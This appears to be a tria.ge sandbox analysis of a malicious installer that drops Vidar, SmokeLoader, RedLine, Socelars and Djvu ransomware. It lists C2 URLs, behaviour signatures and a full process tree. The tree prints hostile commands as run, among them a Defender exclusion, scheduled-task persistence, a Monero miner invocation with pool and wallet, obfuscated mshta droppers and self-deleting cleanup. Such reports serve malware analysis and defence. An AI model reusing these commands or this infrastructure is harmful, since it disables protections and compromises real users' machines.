Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

09/09/2021, 17:41

210909-v9lgtabfhq 10

09/09/2021, 04:26

210909-e21nrsfee3 10

08/09/2021, 21:37

210908-1gnpcsfbc9 10

08/09/2021, 21:29

210908-1bx1vafbc5 10

08/09/2021, 13:52

210908-q6fd6shgdj 10

07/09/2021, 18:07

210907-wqa3eagcgr 10

Analysis

  • max time kernel
    149s
  • max time network
    609s
  • platform
    windows7_x64
  • resource
    win7-fr
  • submitted
    09/09/2021, 17:41

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Malware Config

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

40.5

Botnet

916

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    916

Signatures

  • Detected Djvu ransomeware 1 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 4 IoCs

    redline stealer.

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

    suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 42 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 19 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1876
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1996
          • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11d7385a978cc.exe
            Tue11d7385a978cc.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1544
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
          4⤵
          • Loads dropped DLL
          PID:1536
          • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11b9d76a96506.exe
            Tue11b9d76a96506.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:632
            • C:\Users\Admin\AppData\Local\Temp\is-P5272.tmp\Tue11b9d76a96506.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-P5272.tmp\Tue11b9d76a96506.tmp" /SL5="$50134,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11b9d76a96506.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1972
              • C:\Users\Admin\AppData\Local\Temp\is-L58MC.tmp\46807GHF____.exe
                "C:\Users\Admin\AppData\Local\Temp\is-L58MC.tmp\46807GHF____.exe" /S /UID=burnerch2
                7⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Program Files directory
                PID:2288
                • C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe
                  "C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe" /VERYSILENT
                  8⤵
                  • Executes dropped EXE
                  PID:1572
                  • C:\Users\Admin\AppData\Local\Temp\is-6S2GJ.tmp\ultramediaburner.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-6S2GJ.tmp\ultramediaburner.tmp" /SL5="$10242,281924,62464,C:\Program Files\Microsoft Office\URQYIEYHXU\ultramediaburner.exe" /VERYSILENT
                    9⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Suspicious use of FindShellTrayWindow
                    PID:2748
                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                      10⤵
                      • Executes dropped EXE
                      PID:2104
                • C:\Users\Admin\AppData\Local\Temp\62-526b7-e1b-bfba6-a83f433dbb8b4\Waeneqyjabo.exe
                  "C:\Users\Admin\AppData\Local\Temp\62-526b7-e1b-bfba6-a83f433dbb8b4\Waeneqyjabo.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2668
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                    9⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:1148
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1148 CREDAT:275457 /prefetch:2
                      10⤵
                      • Modifies Internet Explorer settings
                      PID:2616
                • C:\Users\Admin\AppData\Local\Temp\23-7b348-30d-43fb7-9e005a2bace23\Serohikaego.exe
                  "C:\Users\Admin\AppData\Local\Temp\23-7b348-30d-43fb7-9e005a2bace23\Serohikaego.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2652
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exe /eufive & exit
                    9⤵
                      PID:892
                      • C:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exe
                        C:\Users\Admin\AppData\Local\Temp\le33qcdr.yop\GcleanerEU.exe /eufive
                        10⤵
                          PID:3176
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exe /qn CAMPAIGN="654" & exit
                        9⤵
                          PID:2764
                          • C:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exe
                            C:\Users\Admin\AppData\Local\Temp\c5xmyb1g.sqo\installer.exe /qn CAMPAIGN="654"
                            10⤵
                              PID:3236
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exe & exit
                            9⤵
                              PID:1108
                              • C:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exe
                                C:\Users\Admin\AppData\Local\Temp\p5rk3sns.ptf\anyname.exe
                                10⤵
                                  PID:3140
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exe /mixfive & exit
                                9⤵
                                  PID:1640
                                  • C:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exe
                                    C:\Users\Admin\AppData\Local\Temp\2sxlfoix.fq3\gcleaner.exe /mixfive
                                    10⤵
                                      PID:3248
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kgmgr1dw.gbl\autosubplayer.exe /S & exit
                                    9⤵
                                      PID:3096
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
                            4⤵
                            • Loads dropped DLL
                            PID:904
                            • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11f251db82fb7b.exe
                              Tue11f251db82fb7b.exe
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1980
                              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:2604
                                • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2852
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                    8⤵
                                      PID:2752
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                        9⤵
                                        • Creates scheduled task(s)
                                        PID:1716
                                    • C:\Users\Admin\AppData\Roaming\services64.exe
                                      "C:\Users\Admin\AppData\Roaming\services64.exe"
                                      8⤵
                                      • Executes dropped EXE
                                      PID:2268
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                        9⤵
                                          PID:2528
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                            10⤵
                                            • Creates scheduled task(s)
                                            PID:2376
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                          9⤵
                                          • Executes dropped EXE
                                          PID:2932
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                          9⤵
                                            PID:2680
                                      • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2932
                                        • C:\Users\Admin\AppData\Roaming\8104582.exe
                                          "C:\Users\Admin\AppData\Roaming\8104582.exe"
                                          8⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2072
                                          • C:\Windows\system32\WerFault.exe
                                            C:\Windows\system32\WerFault.exe -u -p 2072 -s 1632
                                            9⤵
                                            • Program crash
                                            PID:3660
                                        • C:\Users\Admin\AppData\Roaming\5697799.exe
                                          "C:\Users\Admin\AppData\Roaming\5697799.exe"
                                          8⤵
                                          • Executes dropped EXE
                                          PID:1720
                                        • C:\Users\Admin\AppData\Roaming\4690056.exe
                                          "C:\Users\Admin\AppData\Roaming\4690056.exe"
                                          8⤵
                                          • Executes dropped EXE
                                          PID:2204
                                      • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks processor information in registry
                                        • Modifies system certificate store
                                        PID:2960
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                                          8⤵
                                            PID:880
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /im Alfanewfile2.exe /f
                                              9⤵
                                              • Kills process with taskkill
                                              PID:2488
                                            • C:\Windows\SysWOW64\timeout.exe
                                              timeout /t 6
                                              9⤵
                                              • Delays execution with timeout.exe
                                              PID:2576
                                        • C:\Users\Admin\AppData\Local\Temp\2.exe
                                          "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3000
                                          • C:\Windows\system32\WerFault.exe
                                            C:\Windows\system32\WerFault.exe -u -p 3000 -s 1392
                                            8⤵
                                            • Program crash
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2724
                                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:3044
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
                                            8⤵
                                              PID:1148
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /im "setup.exe" /f
                                                9⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2524
                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:2212
                                            • C:\Users\Admin\AppData\Local\Temp\is-PV24Q.tmp\setup_2.tmp
                                              "C:\Users\Admin\AppData\Local\Temp\is-PV24Q.tmp\setup_2.tmp" /SL5="$10196,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                              8⤵
                                              • Executes dropped EXE
                                              PID:2492
                                              • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                9⤵
                                                • Executes dropped EXE
                                                PID:1812
                                                • C:\Users\Admin\AppData\Local\Temp\is-U97U4.tmp\setup_2.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-U97U4.tmp\setup_2.tmp" /SL5="$20196,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                  10⤵
                                                  • Executes dropped EXE
                                                  • Drops file in Program Files directory
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:1576
                                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                            "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:1604
                                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                              "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                              8⤵
                                              • Executes dropped EXE
                                              PID:2576
                                          • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                            "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:2624
                                          • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                            "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2420
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
                                      4⤵
                                      • Loads dropped DLL
                                      PID:960
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue1109eec571ac.exe
                                        Tue1109eec571ac.exe /mixone
                                        5⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:1468
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue1109eec571ac.exe" & exit
                                          6⤵
                                            PID:2476
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /im "Tue1109eec571ac.exe" /f
                                              7⤵
                                              • Kills process with taskkill
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2532
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                        4⤵
                                        • Loads dropped DLL
                                        PID:1540
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11bc0507b56295.exe
                                          Tue11bc0507b56295.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Checks SCSI registry key(s)
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious behavior: MapViewOfSection
                                          PID:1840
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                                        4⤵
                                        • Loads dropped DLL
                                        PID:824
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11e4e580f2e8141a3.exe
                                          Tue11e4e580f2e8141a3.exe
                                          5⤵
                                          • Executes dropped EXE
                                          PID:1596
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                        4⤵
                                        • Loads dropped DLL
                                        PID:1336
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue11141271fbe5877f.exe
                                          Tue11141271fbe5877f.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Modifies system certificate store
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1696
                                          • C:\ProgramData\3590264.exe
                                            "C:\ProgramData\3590264.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2840
                                            • C:\Windows\system32\WerFault.exe
                                              C:\Windows\system32\WerFault.exe -u -p 2840 -s 1732
                                              7⤵
                                              • Program crash
                                              PID:2020
                                          • C:\ProgramData\3321391.exe
                                            "C:\ProgramData\3321391.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:1776
                                            • C:\Windows\SysWOW64\mshta.exe
                                              "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\ProgramData\3321391.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\3321391.exe"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )
                                              7⤵
                                                PID:2796
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\3321391.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\3321391.exe" ) do taskkill /Im "%~NxB" /F
                                                  8⤵
                                                    PID:964
                                                    • C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
                                                      GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:2708
                                                      • C:\Windows\SysWOW64\mshta.exe
                                                        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )
                                                        10⤵
                                                          PID:2628
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
                                                            11⤵
                                                              PID:1752
                                                          • C:\Windows\SysWOW64\regsvr32.exe
                                                            "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
                                                            10⤵
                                                              PID:2552
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /Im "3321391.exe" /F
                                                            9⤵
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2848
                                                    • C:\ProgramData\795168.exe
                                                      "C:\ProgramData\795168.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Checks BIOS information in registry
                                                      • Checks whether UAC is enabled
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2264
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                                  4⤵
                                                  • Loads dropped DLL
                                                  PID:2044
                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue118f55232e4.exe
                                                    Tue118f55232e4.exe
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Modifies system certificate store
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:756
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                      6⤵
                                                        PID:2708
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /f /im chrome.exe
                                                          7⤵
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2744
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                                    4⤵
                                                    • Loads dropped DLL
                                                    PID:1960
                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCE765C34\Tue112c483dd3245d.exe
                                                      Tue112c483dd3245d.exe
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      PID:320
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 976
                                                        6⤵
                                                        • Loads dropped DLL
                                                        • Program crash
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2804
                                            • C:\Windows\system32\rundll32.exe
                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                              1⤵
                                              • Process spawned unexpected child process
                                              PID:2032
                                              • C:\Windows\SysWOW64\rundll32.exe
                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                2⤵
                                                • Loads dropped DLL
                                                PID:1824
                                            • C:\Windows\system32\rundll32.exe
                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                              1⤵
                                              • Process spawned unexpected child process
                                              PID:2188
                                              • C:\Windows\SysWOW64\rundll32.exe
                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                2⤵
                                                  PID:2736
                                              • C:\Users\Admin\AppData\Local\Temp\3073.exe
                                                C:\Users\Admin\AppData\Local\Temp\3073.exe
                                                1⤵
                                                • Executes dropped EXE
                                                PID:1604
                                              • C:\Users\Admin\AppData\Local\Temp\3EB6.exe
                                                C:\Users\Admin\AppData\Local\Temp\3EB6.exe
                                                1⤵
                                                  PID:2444
                                                • C:\Users\Admin\AppData\Local\Temp\54B7.exe
                                                  C:\Users\Admin\AppData\Local\Temp\54B7.exe
                                                  1⤵
                                                    PID:332
                                                    • C:\Users\Admin\AppData\Local\Temp\54B7.exe
                                                      C:\Users\Admin\AppData\Local\Temp\54B7.exe
                                                      2⤵
                                                        PID:828
                                                        • C:\Windows\SysWOW64\icacls.exe
                                                          icacls "C:\Users\Admin\AppData\Local\6a61953f-1331-4961-b8a6-c789b8cd1b6c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                          3⤵
                                                          • Modifies file permissions
                                                          PID:3620
                                                    • C:\Users\Admin\AppData\Local\Temp\7A80.exe
                                                      C:\Users\Admin\AppData\Local\Temp\7A80.exe
                                                      1⤵
                                                        PID:756
                                                      • C:\Users\Admin\AppData\Local\Temp\959F.exe
                                                        C:\Users\Admin\AppData\Local\Temp\959F.exe
                                                        1⤵
                                                          PID:2412
                                                        • C:\Users\Admin\AppData\Local\Temp\DE91.exe
                                                          C:\Users\Admin\AppData\Local\Temp\DE91.exe
                                                          1⤵
                                                            PID:3736

                                                          Network
